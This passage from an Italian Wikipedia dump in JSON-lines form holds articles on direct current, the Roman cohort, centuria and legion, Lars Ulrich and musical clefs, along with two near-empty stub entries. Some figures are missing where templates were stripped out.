\u00e8 necessario generare informazione relativa a forma d'onda, frequenza e fase. L'operazione \u00e8 svolta da complessi dispositivi elettronici definiti \"inverter\".\nApplicazioni e uso.\nLa corrente continua \u00e8 largamente usata a bassa tensione in elettronica, specialmente nelle apparecchiature alimentate con pile e batterie, che sono in grado di generare esclusivamente corrente continua.\nPer questo motivo \u00e8 obbligatoriamente impiegata negli impianti elettrici delle automobili, dove viene accumulata in una batteria al piombo dopo essere stata generata dall'alternatore e trasformata in continua.\n\u00c8 continua anche l'energia elettrica prodotta da pannelli fotovoltaici e pile a combustibile.\nLa corrente continua fu adottata da Thomas Alva Edison verso la fine del XIX secolo agli inizi della distribuzione elettrica industriale. Successivamente per\u00f2 la tecnologia si \u00e8 spostata verso la corrente alternata, inventata da Nikola Tesla, pi\u00f9 conveniente per la trasmissione di energia elettrica a distanza.\nOggigiorno la corrente continua \u00e8 adottata in alcuni elettrodotti (HVDC), nei cavi sottomarini e nell'alimentazione ferroviaria in alcune nazioni."}
{"id": "26478", "revid": "124279584", "url": "https://it.wikipedia.org/wiki?curid=26478", "title": "Coorte", "text": "La coorte era un'unit\u00e0 militare antica dell'esercito romano.\nOrigine del termine.\nLa parola deriva dal latino \"cohors\" (corte), \"spazio chiuso\", specialmente per animali (collegato a \"hortus\"), \"recinto\", passato poi al significato di \"schiera\", \"guardia del corpo\", ma anche \"signoria\" e \"fattoria\".\nStoria.\nCon la riforma di Mario, l'esercito romano venne ordinato per coorti (dal latino \"cohors, cohortis\") abbandonando la tradizionale formazione del manipolo che era stata adottata nel corso delle Guerre sannitiche.\nIn realt\u00e0 la coorte fu ideata da Scipione l'Africano durante la campagna in terra iberica. In tale occasione, dopo aver studiato attentamente le caratteristiche dell'ambiente e le tattiche di guerra dell'avversario, ide\u00f2 questa nuova suddivisione operativa dell'esercito, che garantiva allo stesso tempo flessibilit\u00e0 e resistenza durante le battaglie campali. Successivamente Mario la introdusse ufficialmente in tutto l'esercito di Roma.\nLa riforma mariana.\nLa riforma mariana determin\u00f2 l'abolizione del vecchio sistema di reclutamento per censo e l'arruolamento di tutti i volontari in possesso della cittadinanza romana e di adatte qualit\u00e0 fisiche, anche appartenenti alle popolazioni italiche.\nL'esercito romano divenne \"di mestiere\" e i soldati, che dall'esercito traevano quotidiano sostentamento, una \"pensione\" sotto forma di assegnazione di terra nelle colonie e - pi\u00f9 avanti - anche la cittadinanza romana, furono sempre pi\u00f9 legati e devoti ai loro comandanti che - se vittoriosi - determinavano la sorte economica delle truppe. I terribili risultati si videro subito con le guerre civili e, pi\u00f9 tardi, con gli imperatori eletti dalle truppe durante le crisi dinastiche e l'anarchia militare.\nComposizione della Coorte.\nMentre il Manipolo era una suddivisione tattica che permetteva una maggiore agilit\u00e0 su terreni irti e diseguali, quali appunto le colline del Sannio, la Coorte aggiungeva potenza e compattezza, pi\u00f9 adatte alle battaglie campali che venivano sempre pi\u00f9 spesso affrontate dall'esercito romano.\nDal punto di vista tecnico, il punto principale della riforma fu la creazione di un'Unit\u00e0 Tattica pi\u00f9 numerosa e serrata del manipolo, formata da 600 uomini (quindi dall'unione di 3 Manipoli), formata da Legionari provenienti dalle vecchie Unit\u00e0 di Hastati, \"Principes\" e Triari.\nLa Legione romana venne quindi divisa in 10 coorti, numerate da \"I\" a \"X\" per cui gli effettivi salirono a circa 6000 Legionari (detti anche \"Coortalii\"). In seguito il numero di soldati della Legione scese a circa 5000 uomini. La prima Coorte di ogni legione fu costituita da un numero doppio di soldati (1000) e per questo la Coorte fu chiamata \"Cohors Milliaria\" mentre le altre Coorti venivano chiamate \"Quingenariae\".\nGli effettivi della Legione coortale furono cos\u00ec costituiti solo da fanteria pesante. I \"Velites\" furono aboliti e le truppe leggere furono sostituite dagli \"Auxilia\" (Ausiliari), soldati reclutati nelle Province Romane conquistate mentre i Confederati Italici fornivano la Cavalleria.\nSchieramento sul campo di battaglia.\nLo schieramento delle coorti era su tre linee, simile a quello del manipolo, in modo da formare una scacchiera cosicch\u00e9 i legionari della seconda e terza fila potessero avanzare e entrare nel combattimento della prima linea se necessario.\nL'inno di Mameli.\nNell'inno nazionale italiano scritto da Goffredo Mameli la parola \"coorte\" compare un'unica volta nel capoverso del ritornello \"Stringiamci a coorte\".\nItalia fascista.\nIn Italia, il fascismo, tra i molti riferimenti simbolici tributati alla Roma antica, utilizz\u00f2 termini in uso nell'Esercito romano per la suddivisione delle proprie unit\u00e0 militari e paramilitari. Tra questi la coorte, che era una unit\u00e0 militare della Milizia Volontaria per la Sicurezza Nazionale corrispondente al battaglione del Regio Esercito; al comando della coorte vi era il seniore o il primo seniore, che corrispondevano al maggiore ed al tenente colonnello del Regio Esercito.\nCitt\u00e0 del Vaticano.\nNella Citt\u00e0 del Vaticano, in cui la lingua latina \u00e8 lingua ufficiale, la Guardia svizzera pontificia \u00e8 chiamata \"Pontificia Cohors Helvetica\" o \"Cohors Pedestris Helvetiorum a Sacra Custodia Pontificis\"."}
{"id": "26480", "revid": "964", "url": "https://it.wikipedia.org/wiki?curid=26480", "title": "Centuria", "text": "La centuria \u00e8 una parola latina che nel corso del tempo ha assunto il significato di \"cento\" o \"un centinaio\". La centuria era in origine un'unit\u00e0 elettorale che votava nei \"comizi centuriati\", un'antica assemblea popolare nella Roma repubblicana. I suoi membri esprimevano un voto collettivo. \nSignificato.\nSembra trovare origine nell'omonima unit\u00e0 militare, dato che in quanto cittadini ebbero doveri sia civili sia militari fino alla riforma militare dell'esercito romano voluta da Gaio Mario, con la quale nacque l'esercito volontario e di professione.\nLa centuria divenne una fondamentale unit\u00e0 della legione romana, che raggruppava un numero variabile tra i sessanta e i cento uomini, ma in alcuni casi arrivava fino a 160, in alcune fonti si racconta di centurie di 300 unit\u00e0. Nei primi tre secoli dopo la Riforma Mariana dell'esercito le centurie erano composte tipicamente da ottanta uomini, in epoca tarda da cento distribuiti in circa dieci \"contubernia\".\nL'intera centuria era comandata normalmente da un centurione. Due centurie formavano un manipolo per cui convivevano un centurione \"Prior\" e uno \"Posterior\". In seguito alle riforme mariane, al manipolo succedette un'altra pi\u00f9 grande unit\u00e0 militare, la coorte composta da 6 centurie.\nUn'eccezione era la prima coorte, composta da cinque centurie con il doppio degli effettivi scelti tra gli uomini pi\u00f9 fedeli della legione.\nIl primo centurione \"Prior\" della Prima Coorte era chiamato \"Primus pilus\" ed era un grado di grandissimo rilievo nell'esercito e forse l'unico grado che oggi potremmo considerare come \"ufficiale\" riportato alla codifica moderna.\nAltri ruoli all'interno della centuria che potremmo in qualche modo definire come \"sottufficiali\" erano: il \"Tesserarius\", il responsabile delle parole d'ordine, il \"Signifer\", il portainsegne di reparto, l\"'Optio\", una sorta di centurione \"dormiente\" in grado di prenderne il posto in battaglia se ucciso, il \"Buccinator\" il trombettiere responsabile dei comandi sonori. Moltissimi altri ruoli erano presenti all'interno di ciascuna centuria per ciascun compito assegnato, ma non in relazione a specialit\u00e0 belliche, forse con la sola eccezione degli artiglieri, ma si tratta di una pura ipotesi.\nItalia fascista.\nIn Italia, il fascismo, tra i molti riferimenti simbolici tributati alla Roma antica, utilizz\u00f2 termini in uso nell'Esercito romano per la suddivisione delle proprie unit\u00e0 militari e paramilitari. \nTra questi la centuria, che era una unit\u00e0 militare della Milizia Volontaria per la Sicurezza Nazionale corrispondente alla compagnia del Regio Esercito; al comando della centuria vi era il centurione che corrispondeva al capitano del Regio Esercito."}
{"id": "26487", "revid": "436907", "url": "https://it.wikipedia.org/wiki?curid=26487", "title": "Lars Ulrich", "text": "Biografia.\nPrima di dedicarsi alla musica, Lars era un promettente tennista, seguendo le orme del padre Torben, professionista di fama nazionale. Ebbe inoltre come padrino il sassofonista Dexter Gordon. Il primo concerto cui assistette fu quello tenuto dai Deep Purple nel febbraio 1973 a Copenaghen, rimanendo affascinato dallo stile di Ian Paice. La nonna gli compr\u00f2 una batteria ed inizi\u00f2 a far pratica a 13 anni, suonando i pezzi dei Deep Purple con i suoi amici. Crebbe anche ascoltando Mot\u00f6rhead, Thin Lizzy, Iron Maiden, Def Leppard, e Diamond Head.\nAlla fine degli anni settanta Ulrich dovette trasferirsi negli Stati Uniti, assieme alla famiglia, per motivi di lavoro. Comincia quindi a dedicarsi a tempo pieno al lavoro di batterista, abbandonando il tennis.\nDopo la formazione dei Metallica Ulrich si \u00e8 sposato tre volte: la prima nel 1988 con Debbie Jones, una ragazza britannica conosciuta in tour, da cui divorzi\u00f2 nel 1990 anche a causa del tempo libero che veniva sottratto al batterista per le registrazioni del quinto album dei Metallica; si risposa con Skylar Satenstein, dottoressa di un pronto soccorso, dal 1997 al 2004, dalla quale Ulrich ha avuto due figli, Myles (1998) e Layne (2001). Dal 2004 al 2012 \u00e8 stato sentimentalmente legato all'attrice danese Connie Nielsen, dalla quale ha avuto il suo terzo figlio, Bryce Thadeus Ulrich-Nielsen (2007). Successivamente ha convolato a nozze per la terza volta con la modella Jessica Miller.\nUlrich ha rivelato che \u00e8 stata un'intervista di Noel Gallagher a spingerlo a chiudere con il mondo della droga: \u00abHo letto le parole di Noel e le ho trovate cos\u00ec sincere e pure che anche io mi sono svegliato da quella realt\u00e0 ed ho deciso di dire basta\u00bb. Ulrich ha anche ammesso di essere un grande fan degli Oasis e ha espresso il suo desiderio di voler suonare almeno una volta la batteria per l'attuale band di Gallagher, i Noel Gallagher's High Flying Birds.\nLars Ulrich divent\u00f2 famoso anche al di fuori della cerchia dei fan dei Metallica quando, nel marzo 2000, consegn\u00f2 personalmente a Napster una lista di 300.000 utenti da denunciare in quanto, a suo dire, condividevano illegalmente file MP3 dei Metallica. Questo episodio, prontamente ripreso dai media, lo pose al centro della furia degli utenti della rete di tutto il mondo, tanto che tuttora egli \u00e8 considerato il personaggio simbolo della repressione dello scambio di file musicali via Internet da parte delle major discografiche. L'episodio \u00e8 citato da \"Weird Al\" Yankovic nel brano \"Don't Download This Song\".\nUlrich ha partecipato nel 2001 all'edizione statunitense di \"Chi vuol essere milionario?\", vincendo 32.000 dollari poi interamente devoluti in beneficenza.\nCarriera.\nNel 1981, tramite un annuncio, conosce un giovane chitarrista di nome James Hetfield, appassionato sia di heavy metal che di punk rock, e gi\u00e0 reduce dall'esperienza con gli Obsession. I due decidono di formare i Metallica nell'ottobre di quell'anno, assoldando Dave Mustaine alla chitarra solista e Ron McGovney al basso. Entrambi i musicisti vennero successivamente rimpiazzati con il chitarrista Kirk Hammett e con il bassista Cliff Burton, con i quali Ulrich e Hetfield registrarono l'album d'esordio \"Kill 'Em All\".\nNel corso degli anni, lo stile di Lars Ulrich ha assunto molte sfumature diverse. Nell'album d'esordio \"Kill 'Em All\" (1983) dimostra uno stile tecnicamente povero e puntato molto sulla velocit\u00e0 ritmica, mentre nei successivi \"Ride the Lightning\" (1984) e \"Master of Puppets\" (1986), dedica maggiore attenzione alla tecnica e alla poliritmia. Nel 1986 circol\u00f2 la voce che i Metallica volessero licenziare Ulrich durante il tour per quest'ultimo album, durante il quale avvenne poi il tragico incidente che cost\u00f2 la vita al bassista Cliff Burton; nel 2012 la voce venne confermata dal chitarrista degli Anthrax, Scott Ian, presente in quella tappa europea: \u00abLa storia \u00e8 che avevano nuovi piani che includevano un altro batterista. Noi eravamo sbalorditi perch\u00e9 lui era il quarto componente. Ci ho riflettuto negli ultimi anni, credetemi. Penso che al termine del tour le teste pi\u00f9 lucide abbiano prevalso e non ci sia stato alcun cambio\u00bb. In seguito anche Kirk Hammett conferm\u00f2 la cosa.\nNel 1988, dopo la morte di Burton e l'arrivo di Jason Newsted, viene pubblicato \"...And Justice for All\", ritenuto l'album pi\u00f9 tecnico dei Metallica; qui Ulrich \u00e8 ben stimato per l'uso della doppia cassa in \"Blackened\", i cambi di tempo in \"One\", le potenti sincopi di \"Harvester of Sorrow\" e di \"Frayed Ends of Sanity\", e il groove preciso e veloce di \"Dyers Eve\". Nel 1991, con la pubblicazione di \"Metallica\", Ulrich abbandon\u00f2 l'uso massiccio della doppia cassa e le ritmiche thrash metal che avevano caratterizzato la sua carriera iniziale, in favore di un drumming pi\u00f9 semplice e melodico. Ci\u00f2 si accentu\u00f2 (nello stesso periodo il batterista ridusse le dimensioni del suo drumset nel numero di tom e piatti impiegati, e nel modello da GranStar II Birch a StarClassic Maple) nei successivi \"Load\" (1996) e \"ReLoad\" (1997), non esenti da critiche.\n\"St. Anger\", del 2003, vide l'entrata del bassista Robert Trujillo al posto di Newsted e risult\u00f2 caratterizzato da un missaggio e da un suono degli strumenti atipico rispetto alle precedenti pubblicazioni dei Metallica. Nel 2004, a causa di problemi di salute, Ulrich non pot\u00e9 partecipare a diversi tour del gruppo e per queste occasioni venne sostituito temporaneamente da Dave Lombardo, Joey Jordison e dal suo tecnico Flemming Larsen.\nIl nono album in studio \"Death Magnetic\", pubblicato nel 2008, segn\u00f2 un ritorno alle sonorit\u00e0 thrash metal. Prodotto da Rick Rubin, il disco ha visto per la prima volta la partecipazione attiva, nel processo di registrazione, di Trujillo."}
{"id": "26491", "revid": "1719883", "url": "https://it.wikipedia.org/wiki?curid=26491", "title": "Pentagramma", "text": ""}
{"id": "26495", "revid": "123867007", "url": "https://it.wikipedia.org/wiki?curid=26495", "title": "Crash", "text": "Crash (letteralmente \"scontro\", \"incidente\" in inglese) pu\u00f2 riferirsi a:"}
{"id": "26498", "revid": "121314541", "url": "https://it.wikipedia.org/wiki?curid=26498", "title": "Chiave (musica)", "text": "Una chiave, nella notazione musicale, \u00e8 un simbolo posto all'inizio del pentagramma con la funzione di fissare la posizione delle note e l'altezza dei relativi suoni. Sebbene sia collocata sempre all'inizio di un pentagramma, pu\u00f2 anche essere usata in un punto qualsiasi dello stesso, ad esempio a met\u00e0 di una battuta o misura per identificare il passaggio da una tessitura a un'altra di uno stesso strumento.\nStoria.\nLa \"chiave di Do\" \u00e8 un segno derivato storicamente dalla lettera C che indicava, prima dell'avvento delle sillabe guidoniane, l'attuale Do e che fissa la posizione del Do centrale del pianoforte, o Do3, sul pentagramma.\nLa \"chiave di Fa\" \u00e8 un segno convenzionale che fissa la posizione della nota fa sul pentagramma. Il simbolo deriva dall'evoluzione grafica di una lettera F maiuscola, che nel sistema di notazione letterale in uso prima delle sillabe guidoniane corrisponde appunto alla nota Fa.\nI segni delle chiavi provengono da una progressiva alterazione grafica delle lettere gotiche ovvero:\nLe chiavi musicali sono tre, ma sono sistemate in posizioni diverse dando la possibilit\u00e0 di centrare sul pentagramma la tessitura peculiare di ogni voce, in modo da evitare il pi\u00f9 possibile il ricorso ai tagli addizionali. Fino alla met\u00e0 del '700 era molto frequente anche nella musica strumentale il cambio di chiave all'interno dei pezzi a seconda della tessitura dei passaggi proprio per non dover utilizzare troppi tagli addizionali.\nL'insieme di queste posizioni, eccettuate la prima e l'ultima (\"chiave di violino francese\" e \"chiave di subbasso/basso profondo\"), noto come \"setticlavio\" in alcune tradizioni musicali tra cui quella italiana, \u00e8 oggi utilizzato solo come esercizio nei corsi di teoria e solfeggio e di composizione che si tengono nei conservatori. Invece nella pratica comune si utilizzano solo le chiavi di violino e di basso, di gran lunga le pi\u00f9 usate, nonch\u00e9 quelle di contralto, usata come chiave di impostazione dalla viola e del trombone contralto, e di tenore, usata come chiave ausiliaria da violoncello, trombone, fagotto, contrabbasso e controfagotto.\nIn tutte le edizioni moderne (successive al 1800) le parti di contralto, mezzosoprano e soprano si scrivono in chiave di violino, le parti di baritono in chiave di basso, mentre per le parti di tenore si usa la chiave di violino tenorizzata, ovvero una chiave di violino accompagnata da un segno convenzionale atto ad indicarne l'esecuzione all'ottava inferiore, tranne nella musica corale a due pentagrammi, nel qual caso la parte viene scritta sul pentagramma inferiore sopra al basso.\nClassificazione.\nConvenzionalmente, esistono nove possibili posizioni di chiavi musicali, tutte contraddistinte da un termine specifico che le lega a un'estensione vocale. Qui di seguito sono elencate sommariamente tali nove chiavi, indicandone la posizione tramite il numero della linea su cui sono poste partendo dalla linea pi\u00f9 bassa del pentagramma.\nChiave di Fa.\nChiave di baritono.\nChiave di baritono, sulla terza linea (indicata anche dalla chiave di Do sulla quinta linea)\nChiave di basso.\nChiave di basso, sulla quarta linea. La chiave di basso, insieme alla chiave di violino, \u00e8 utilizzata per la notazione degli strumenti a tastiera.\nViene chiamata cos\u00ec perch\u00e9 la parte di basso, come pure il contrabbasso, il violoncello e altri strumenti gravi (trombone, fagotto, eccetera), normalmente si scrive in questa chiave. La chiave di Fa viene usata anche per gli strumenti traspositori in Mi\u266d e nelle parti dei timpani.\nChiave di subbasso.\nChiave di subbasso, sulla quinta linea.\nChiave di Sol.\nChiave di violino.\nLa chiave di violino, o chiave di sol, \u00e8 un segno convenzionale che fissa la posizione della nota sol sulla seconda linea del pentagramma. Questo Sol \u00e8 precisamente quello posto una quinta giusta sopra al Do centrale.\nViene chiamata cos\u00ec perch\u00e9 il violino normalmente legge in questa chiave.\nIl simbolo \u00e8 un'evoluzione grafica della lettera G che nel sistema di notazione letterale precedente le sillabe guidoniane corrisponde appunto alla nota Sol. Se accompagnata da un piccolo \"8\" in alto, il tutto va eseguito un'ottava sopra; se accompagnata da un piccolo \"8\" in basso, un'ottava sotto. Quest'ultima variante si trova comunemente nella notazione di pezzi per voce di tenore. Insieme alla chiave di basso \u00e8 la chiave pi\u00f9 utilizzata nella notazione musicale. Le note della chiave di sol sono mi-sol-si-re-fa nei righi e fa-la-do-mi negli spazi.\nChiave di violino francese.\nQuando la chiave di Sol \u00e8 posizionata sulla prima riga \u00e8 detta chiave di violino francese.\nQuesto tipo di chiave \u00e8 caduto in disuso ed era utilizzato in passato per il flauto traverso e dolce e per il violino, in particolare in Francia fra il XVII e l'inizio del XVIII secolo."}
{"id": "26506", "revid": "1543377", "url": "https://it.wikipedia.org/wiki?curid=26506", "title": "Legione romana", "text": "La legione romana (dal latino \"legio\", derivato del verbo \"legere\", \"raccogliere assieme\", che all'inizio indicava l'intero esercito) era l'unit\u00e0 militare di base dell'esercito romano. Nacque dalla trasformazione dell'esercito alto-repubblicano dal modello falangitico a quello manipolare nel IV secolo a.C. L'esercito romano pass\u00f2 cos\u00ec dall'impiego del \"clipeus\" e dell\"hasta\" all'utilizzo dello \"scutum\", del \"pilum\" e del \"gladius\", che divennero le armi fondamentali dei legionari romani, conformi del tutto al tipo di utilizzo imposto dalla tattica bellica romana.\nGrazie al grande successo militare della Repubblica e, in seguito, dell'Impero, la legione viene considerata come il massimo modello antico di efficienza militare, sia sotto il profilo dell'addestramento, sia dal punto di vista tattico e organizzativo. Altra chiave del successo della legione era il morale dei soldati, consolidato dalla consapevolezza che ciascun uomo doveva contare sull'appoggio del compagno, prevedendo la legione l'integrazione dei soldati in un meccanismo complessivo di lavoro di squadra.\nEra assimilabile a una grande unit\u00e0 complessa odierna, di rango variabile tra una brigata e una divisione, ma soprattutto riuniva attorno a s\u00e9, oltre ai reparti dell'arma base, fanteria e cavalleria, altri reparti specializzati come frombolieri, sagittarii, esploratori e genieri. All'inizio autonoma sul piano logistico, era normalmente stanziata in una provincia, di cui aveva la responsabilit\u00e0 della sicurezza e della difesa militare. Nella storia di Roma, l'esercito pot\u00e9 contare su oltre 60 legioni (composte di \u00f7 armati) al termine della guerra civile tra Ottaviano e Marco Antonio, e su un minimo di 28 agli inizi del principato (ridotte a 25 dopo la disfatta di Teutoburgo). Nel passaggio dalla Repubblica al Principato, e poi al Dominato, l'esercito, e con esso la struttura della legione (il cui numero di unit\u00e0 and\u00f2 riducendosi), venne ristrutturato profondamente.\nEt\u00e0 regia.\nPer tutta l'et\u00e0 regia di Roma l'esercito romano fu costituito da un'unica legione, tanto da identificarsi con quest'ultima e viceversa.\nLa legione si disponeva su tre file, nella tipica formazione a falange, con la cavalleria ai lati, chiamate \"alae\".\nStruttura della Legione.\nSecondo la tradizione fu Romolo a creare sull'esempio della falange greca la legione romana, inizialmente formata da fanti (\"pedites\") e 300 cavalieri (\"equites\"), scelti tra la popolazione. Con l'inclusione del popolo Sabino, Romolo raddoppi\u00f2 il volume delle truppe, potendo cos\u00ec contare su fanti e 600 cavalieri.\nFanti e cavalieri erano arruolati tra le tre trib\u00f9 romane ( fanti e 100 cavalieri ciascuna) che formavano la primitiva popolazione di Roma: i \"Tities\", i \"Ramnes\" e i \"Luceres\". In epoca regia era formata da cittadini compresi tra i 17 e i 46 anni, in grado di potersi permettere il costo dell'armamento.\nLa riforma di Servio Tullio (met\u00e0 VI secolo a.C.).\nIn et\u00e0 monarchica fu eseguita, secondo la tradizione da Servio Tullio, sesto re di Roma, una riforma timocratica che divise tutta la popolazione romana in cinque classi in base al censo (secondo altre fonti 6 classi), ognuna divisa a sua volta in tre categorie:\nSe la prima classe, la pi\u00f9 facoltosa, poteva permettersi l'equipaggiamento da legionario (il costo del tributo per gli armamenti veniva stabilito in base al censo), quelle inferiori avevano armamenti via via pi\u00f9 leggeri.\nCatena di comando.\nIl \"Rex\" era il comandante supremo dell'esercito romano, a cui spettava il compito di scioglierlo al termine della campagna militare dell'anno. A lui erano subordinati tre \"tribuni militum\", ciascuno dei quali posto a capo di una delle tre trib\u00f9 o file di fanti; gli squadroni di cavalleria erano invece sottoposti al comando di \"tribuni celerum\".\nCon la riforma serviana, vi fu un'importante novit\u00e0: coloro i quali si erano distinti in battaglia diventavano centurioni.\nDisposizione tattica.\nLa legione si disponeva su tre file, nella tipica formazione a falange, con la cavalleria ai lati, chiamate \"alae\".\nCon la riforma serviana dell'esercito romano, la prima classe risultava la pi\u00f9 avanzata schiera rispetto alle altre.\nEffettuavano il combattimento in modo estremamente compatto, armati di lancia e spada, difesi da scudo, elmo e corazza o da altre protezione pettorali. Dietro la prima classe, in battaglia era posizionata la seconda, poi la terza classe che chiudeva lo schieramento. Quarta e quinta classe costituivano la fanteria leggera che solitamente era disposta al di fuori dallo schieramento.\nEt\u00e0 repubblicana.\nStruttura della legione.\nA differenza delle successive formazioni legionarie, composte esclusivamente di fanteria pesante, le legioni della prima e media et\u00e0 repubblicana consistevano di fanteria sia leggera che pesante.\nIl termine \"esercito manipolare\", cio\u00e8 un esercito basato su unit\u00e0 chiamate manipoli (), \u00e8 pertanto utilizzato in contrapposizione con il successivo \"esercito legionario\" del tardo periodo repubblicano e alto imperiale, incentrato, invece, su un sistema di unit\u00e0 chiamate coorti.\nL'esercito manipolare si basava in parte sul sistema di classi sociali e in parte sull'et\u00e0 e sull'esperienza militare; rappresentava quindi un compromesso teorico tra il precedente modello basato interamente sulle classi e gli eserciti degli anni che ne erano indipendenti.\nPrima repubblica.\nStando alla storiografia latina, si deve l'introduzione del manipolo come elemento tattico a Marco Furio Camillo durante il periodo del suo quarto tribunato consolare.\nL'unit\u00e0 costitu\u00ec l'elemento fondamentale della legione romana dalle battaglie contro Equi e Volsci, vinte da Furio Camillo, fino alla Seconda guerra punica.\nLe principali configurazioni sono:\nLa legione veniva generalmente schierata su tre file, dette \"triplex acies\", alle quali si aggiungevano i fanti leggeri, detti \"leves,\" per un totale che varia tra i 4200 e i 5000 effettivi a seconda del periodo:\nQuesta differenziazione esisteva, oltre che sulla base dell'esperienza dei soldati, anche sulla base del censo, tanto che ogni soldato era tenuto a provvedere autonomamente all'equipaggiamento.\nTra i fanti, i pi\u00f9 \"benestanti\" erano i \"triarii\", che potevano permettersi l'equipaggiamento pi\u00f9 completo e pesante, mentre gli \"accensi\" erano i pi\u00f9 poveri, presi dalla quarta classe di cittadini, secondo l'ordinamento censitario di Servio Tullio.\nTarda repubblica.\nTra il 107 a.C. e il 104 a.C. il console romano Gaio Mario port\u00f2 avanti un programma di riforme dell'esercito romano, al fine di dare la possibilit\u00e0 a tutti i cittadini di arruolarsi, indipendentemente dal benessere e dalla classe sociale.Questa sua iniziativa formalizzava e concludeva un processo, sviluppatosi per secoli, di graduale rimozione dei requisiti patrimoniali per l'accesso al servizio militare, permettendo cos\u00ec alla Repubblica di avere un esercito pi\u00f9 numeroso della media dell'epoca.La distinzione tra \"hastati\", \"principes\" e \"triarii\", che gi\u00e0 era andata assottigliandosi, era ufficialmente rimossa. e fu creata quella che, nell'immaginario popolare, \u00e8 la fanteria legionaria: un'unit\u00e0 omogenea di fanteria pesante.\nLa fanteria leggera di cittadini dalle classi meno abbienti, come i \"velites,\" fu sostituita dalle \"auxilia\", cio\u00e8 delle truppe ausiliarie che potevano consistere anche di mercenari stranieri.\nL'organizzazione interna subiva inoltre un cambiamento fondamentale: il manipolo perse ogni funzione tattica in battaglia e fu sostituito in modo permanente dalle coorti, sull'esempio di ci\u00f2 che era gi\u00e0 stato anticipato da Scipione l'Africano un secolo prima.\nNumerate da I a X, ogni coorte era formata da tre manipoli oppure da sei centurie, per un totale di 3.840 fanti.\nUnit\u00e0 complementari.\nCavalleria legionaria (e ausiliaria).\nCon la riforma manipolare descritta da Livio e da Polibio, la cavalleria legionaria torn\u00f2 a disporre di 300 cavalieri, divisi in dieci squadroni, a capo di ognuno dei quali erano posti tre comandanti, i \"decurioni\", organizzati verticalmente.\nCon la riforma mariana dell'esercito romano la cavalleria legionaria venne sostituita da speciali corpi di truppe ausiliarie o alleate a supporto e complemento della nuova legione romana.\nIl costante contatto con Celti e Germani durante la conquista della Gallia indusse Gaio Giulio Cesare a rivalutare il corpo della cavalleria, tanto che ne fece un impiego crescente negli anni, reintroducendo unit\u00e0 di cavalleria permanente accanto a quelle fanteria e a quella ausiliaria.\nGenio militare.\nFondamentale novit\u00e0 del periodo relativo alla legione manipolare, dovendosi condurre campagne militari sempre pi\u00f9 lontane dalla citt\u00e0 di Roma, vide il proprio gruppo di genieri costretti a trovare nuove soluzioni difensive adatte al pernottamento in territori spesso ostili. Ci\u00f2 indusse i Romani a creare, sembra a partire dalle guerre pirriche, un primo esempio di accampamento militare da marcia fortificato, per proteggere le armate romane al suo interno.\nAltro apporto del genio fu la costruzione di strade militari, utilizzate inizialmente per migliorare e velocizzare gli spostamenti delle armate ed in seguito dalla stessa popolazione civile dopo che l'area era stata pacificata.\nA partire dalle guerre pirriche furono mossi i primi importanti assedi ad opera dei Romani, tra cui l'assedio di Lilibeo,che comport\u00f2 per la prima volta l'attuazione di tecniche d'assedio complesse.\nCesare apport\u00f2 nel settore dell'ingegneria militare innovazioni determinanti, con la realizzazione di opere sorprendenti costruite con grande perizia e in tempi rapidissimi, come il ponte sul Reno o la rampa d'assedio costruita durante l'assedio di Avarico.\nGerarchia interna.\nIl \"cursus honorum\" prevedeva che nessuno potesse intraprendere la carriera politica senza aver prestato almeno 10 anni di servizio militare.\nOgni manipolo era comandato da un centurione, il pi\u00f9 importante dei quali era il \"primus pilus\" (primipilo), comandante dei \"triarii\", uno dei pochi a servirsi del cavallo durante la marcia. Il \"primus pilus\" veniva scelto tra i soldati pi\u00f9 coraggiosi ed esperti.\nIl comando della legione era affidato al \"legatus\", un magistrato facente le veci dei consoli nel comando di una specifica legione. Secondo nella gerarchia era un tribuno esperto, il tribuno laticlavio (\")\", affiancato da altri cinque tribuni angusticlavi (). In assenza di tribuni, il comando era affidato al \"praefectus castrorum\".\nDisposizione tattica.\nL'esercito manipolare deve il suo nome alle modalit\u00e0 tattiche con cui la sua fanteria pesante era dispiegata in battaglia.\nI \"manipoli\" erano unit\u00e0 di 120 uomini della medesima classe che risultavano abbastanza da permettere sul campo di battaglia i movimenti tattici delle singole unit\u00e0 di fanteria nel contesto del pi\u00f9 grande esercito.\nLa fanteria al centro era sempre coperta ai fianchi da unit\u00e0 di cavalleria e disponeva di avanguardie di fanti leggeri, che davano inizio alla battaglia disturbando il nemico con dardi o giavellotti sul nemico, per poi ritirarsi al sicuro.\nMentre la prima linea centrale impegnava il nemico, grazie al rapido movimento ad arretrare dei manipoli, la cavalleria poteva tentare, inoltre, manovre evasive o accerchiamenti.\nI \"Triarii\", dopo aver accolto \"Hastati\" e \"Principes\" tra le loro file, serravano le file ed in un'unica ininterrotta schiera si gettavano sul nemico.\nCon la riforma mariana, le legioni, ora schierate secondo il nuovo ordinamento coortale, venivano disposte normalmente su due linee (\"duplex acies\"), soluzione che permetteva di avere un fronte sufficientemente lungo ma anche profondo e flessibile.\nVi erano poi altri tipi di schieramenti praticati dalle armate romane del tardo periodo repubblicano: su una sola linea, ovviamente quando era necessario coprire un fronte molto lungo come nel caso del \"Bellum Africum\" durante la guerra civile tra Cesare e Pompeo; o su tre linee (\"triplex acies\"), formazione spesso utilizzata da Cesare durante la conquista della Gallia, con la prima linea formata da 4 coorti, e le restanti due, formate da tre coorti ciascuna. Le coorti schierate lungo la terza linea costituivano spesso una \"riserva tattica\" da utilizzare in battaglia, come avvenne contro Ariovisto in Alsazia.\nIl tardo periodo repubblicano si contraddistingue, invece, per un certo dinamismo tattico dei legatus, i quali hanno ideato molti schieramenti alternativi, tra cui il giuliano \"triplex acies\" con prima linea formata da 4 coorti e le restanti due da tre coorti ciascuna.\nModello strategico.\nSe in et\u00e0 regia la legione identificava l'esercito per intero, durante la repubblica le maggiori esigenze operative han via via fatto aumentare il numero di legioni attive contemporaneamente, seppur in maniera contingente.Fonti storiografiche riportano un primo conteggio di quattro legioni durante la guerra latina (340-338 a.C.), a cui andava sommato un numero pari di truppe alleate di fanteria e un numero triplo di cavalleria, il quale arriva al suo apice durante la seconda guerra punica dove l'esercito romano arriv\u00f2 a contare ben 23 legioni tra cittadini romani e \"Socii\" (nel 212-211 a.C.); si trattava di una forza pari a circa fanti e cavalieri in base alle fonti), le quali non tengono conto delle truppe dislocate in Spagna agli ordini dei fratelli Gneo e Publio Scipione.\nGiulio Cesare fu il primo a comprendere che la dislocazione permanente di una parte delle forze militari repubblicane doveva costituire la base per un nuovo sistema strategico di difesa dei confini del mondo romano, gettando cos\u00ec le basi per lo sviluppo dei vari limes.\nAlla sua morte erano dislocate sul territorio 37 legioni, usate sfruttando appieno il potenziale in mobilit\u00e0, di cui ben 